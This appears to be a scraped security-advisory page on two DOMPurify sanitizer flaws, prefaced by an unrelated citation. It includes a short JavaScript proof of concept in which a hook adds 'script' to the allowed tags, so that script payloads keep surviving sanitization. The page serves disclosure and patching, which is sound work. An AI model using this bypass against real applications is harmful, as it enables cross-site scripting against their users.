Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade dompurify to version 3.4.6 or higher.

References

• GitHub Advisory
• GitHub Commit
• Red Hat Bugzilla Bug

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Trust Boundary Violation through the mutation of data.allowedTags or data.allowedAttributes in hooks, which directly alters the global default sets used for sanitization. An attacker can cause persistent changes to the default allow-lists, enabling malicious tags or attributes to bypass sanitization in subsequent calls by injecting payloads that exploit the polluted configuration.

Note:

This is only exploitable if a hook is registered that mutates data.allowedTags or data.allowedAttributes, and later sanitization occurs without explicitly setting restrictive configuration arrays.

PoC

// 1) fresh DOMPurify, default config — script is blocked
DOMPurify.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg></svg>"

// 2) install a hook that mutates data.allowedTags (natural-looking pattern)
DOMPurify.addHook('uponSanitizeElement', (node, data) => {
  data.allowedTags['script'] = true;
});

// 3) one sanitize call WITH the hook — script survives (expected during the hook)
DOMPurify.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg><script>alert(1)</script></svg>"

// 4) remove the hook
DOMPurify.removeAllHooks();
DOMPurify.clearConfig();

// 5) sanitize attacker content with default config — POLLUTION PERSISTS
DOMPurify.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg><script>alert(1)</script></svg>"  ← script survived without any hook

// 6) the only recovery: create a fresh DOMPurify instance
const fresh = DOMPurify(window);
fresh.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg></svg>"  ← clean

Remediation

Upgrade dompurify to version 3.4.7 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Trust Boundary Violation in the sanitize function when handling DOM nodes from a different same-origin realm due to improper realm-bound instanceof checks. An attacker can inject and execute malicious markup by providing specially crafted DOM nodes from a foreign realm, which bypass internal security checks and allow executable content to persist in form attributes, template content, and attached shadow roots.

Remediation

Upgrade dompurify to version 3.4.6 or higher.

References

• GitHub Advisory
• GitHub Commit
• Red Hat Bugzilla Bug